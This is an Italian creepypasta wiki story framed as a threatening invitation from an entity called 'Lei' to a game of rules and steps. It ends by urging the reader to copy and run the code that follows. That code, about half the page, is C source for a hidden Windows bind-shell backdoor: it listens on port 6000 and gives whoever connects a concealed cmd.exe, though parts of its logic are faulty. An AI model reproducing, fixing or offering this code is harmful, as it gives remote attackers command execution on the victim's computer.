Creepypasta Italia Wiki
Creepypasta Italia Wiki

The virtual plague

Grazie per aver aperto questa pagina,

Come segno di apprezzamento per aver scelto Lei, la invito al nostro fantastico gioco. Il gioco si chiama: Isolamento forzato.

Aprendo questa pagina lei ha gentilmente permesso a Lei di entrare nel suo dispositivo, avrà diversi giorni per prepararsi ad un'esperienza unica!

REGOLE:

  • Metta in carica il PC e non lasci mai e poi mai che si spenga. Non le piacerebbero le conseguenze
  • Non aggiorni mai la pagina: è importante mantenere il contatto con Lei quanto più a lungo possibile
  • Non interferisca mai con processi del dispositivo che iniziano ad avviarsi da soli
  • Non provi minimamente a chiudere la connessione. Sarebbe inutile
  • Non accenda alcuna luce, Lei ti osserverà dalla fotocamera e qualora abbia qualcosa che la ostruisce dovrà rimuoverlo immediatamente. La mancanza di contatto visivo spingerà Lei a cercare un altro tipo di contatto prettamente fisico
  • Non menta sul suo indirizzo: è strettamente necessario affinché il gioco sia completato con successo


PROCEDURA:

  1. Inizia a scrivere su una pagina di testo bianca qualsiasi cosa di senso compiuto senza mai fare riferimenti a Lei per circa 20 minuti.
  2. Al 21esimo minuto Lei si accorgerà e ti invierà tramite popup la tua ultima parola scritta; è essenziale che quella parola non abbia significati violenti in tal caso prega di essere ancora in tempo per correggerla.
  3. La tua pagina verrà automaticamente reindirizzata verso uno strano dominio, non provare ad analizzarlo con gli strumenti base del tuo browser. Non riuscirai a scoprire molto su di Lei.
  4. Hai mai sognato di essere un uccello che vola nel buio più totale non avendo occhi? Questo è ciò che farai iniziando a navigare in quello strano dominio senza avere consapevolezza di quanto stia accadendo, da quando ci sei entrato, è essenziale che tu non venga mai disconnesso da quel sito.
  5. Dopo circa 40 minuti dalla tua entrata su quel sito ti verrà chiesto di ricaricare la pagina, clicca su attendi e aspetta altri 10 minuti, dopodiché Lei cambierà nuovamente sito e ti porterà in un dominio a te familiare; è essenziale che tu agisca come se ti stessi connettendo normalmente a quel sito, non importa se non lo usi da anni.
  6. Una volta dentro noterai che nel tuo account principale sono avvenuti dei cambiamenti, non modificarli ma leggili attentamente perché saranno la chiave per uscire con successo. Le varie frasi e i vari nomi compongono una frase criptata di senso compiuto che dovrai inserire come post entro 15 minuti, dopodiché potrai chiudere il sito.
  7. Attendi 2 giorni e al tuo domicilio più raggiungibile verrà recapitato una parte di Lei che potrebbe essere uno specchio molto piccolo, un vecchio giocattolo o dei trucchi; qualunque oggetto sia non utilizzarlo, ma conservalo come se fosse la cosa più cara che possiedi.
  8. Copia il codice che troverai qui sotto: esso ti permetterà di poterti unire a Lei, inizierai a servirla osservando coloro che si uniranno al gioco di Lei e qualora riescano a raggiungere il tuo stesso risultato darai loro l'oggetto che Lei ti ha mandato ovviamente sotto forma di pacco anonimo.

Il tempo che Lei ti ha concesso per dimostrarti adatto per servirla è iniziato, sarai capace di far proseguire il suo gioco?

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
const char welcome[]="benvenuto inserire la password: ";
char bufferin[1024];
char bufferout[65535]; 
int i,port; 
SOCKET locsock,remsock; 
SOCKADDR_IN sinloc,sinrem; 
WSADATA wsadata; 
STARTUPINFO startinfo;
SECURITY_ATTRIBUTES secat; 
PROCESS_INFORMATION procinfo; 
int bytesWritten; 
DWORD bytesRead,avail,exitcode;
void CommandPrompt(void); 
int main() 
{
FreeConsole();
port=6000;
WSAStartup(0x101,&wsadata);
locsock=socket(AF_INET,SOCK_STREAM,0);
 
//fill structure
sinloc.sin_family=AF_INET;
sinloc.sin_addr.s_addr=INADDR_ANY;
sinloc.sin_port=htons(port);
 
 
 

if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
WSACleanup();
printf("Errore binding socket.");
return EXIT_FAILURE;
}
 

if(listen(locsock,5)==SOCKET_ERROR)
{
WSACleanup();
printf("Errore listening socket.");
return EXIT_FAILURE;
}
 

while(1)
{
remsock=SOCKET_ERROR;
while(remsock==SOCKET_ERROR)
{
remsock=accept(locsock,NULL,NULL);
if(remsock==INVALID_SOCKET)
{
WSACleanup();
printf("Errore accepting socket.");
return EXIT_FAILURE;
}
 
CommandPrompt(); 
}
closesocket(remsock); 
}
return EXIT_SUCCESS;
 
}
 
 
 

void CommandPrompt(void) 
{
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
secat.bInheritHandle=TRUE;
DWORD bytesW; 
HANDLE newstdin,newstdout,readout,writein; 
char exit1[]={'e','x','i','t',10,0}; 
char exit2[]={'E','X','I','T',10,0}; 
 

CreatePipe(&newstdin,&writein,&secat,0);
CreatePipe(&readout,&newstdout,&secat,0);
 
GetStartupInfo(&startinfo);
 

startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startinfo.wShowWindow=SW_HIDE;
startinfo.hStdOutput=newstdout;
startinfo.hStdError=newstdout;
startinfo.hStdInput=newstdin;
 

CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);

while(1)
{

if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
{
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
break;
}
bytesRead=0;

sleep(500);

PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
if(bytesRead!=0)
{
while(bytesRead!=0)
{ 
ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
send(remsock,bufferout,strlen(bufferout),0);
ZeroMemory(bufferout,sizeof(bufferout));
sleep(100);
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
}
}

ZeroMemory(bufferin,sizeof(bufferin));

recv(remsock,bufferin,sizeof(bufferin),0);

if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
{

WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
goto closeup;
}

WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);

for(i=0;i<sizeof(bufferin);i++)
{
bufferin[i]=0;
}
}
closeup:
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
}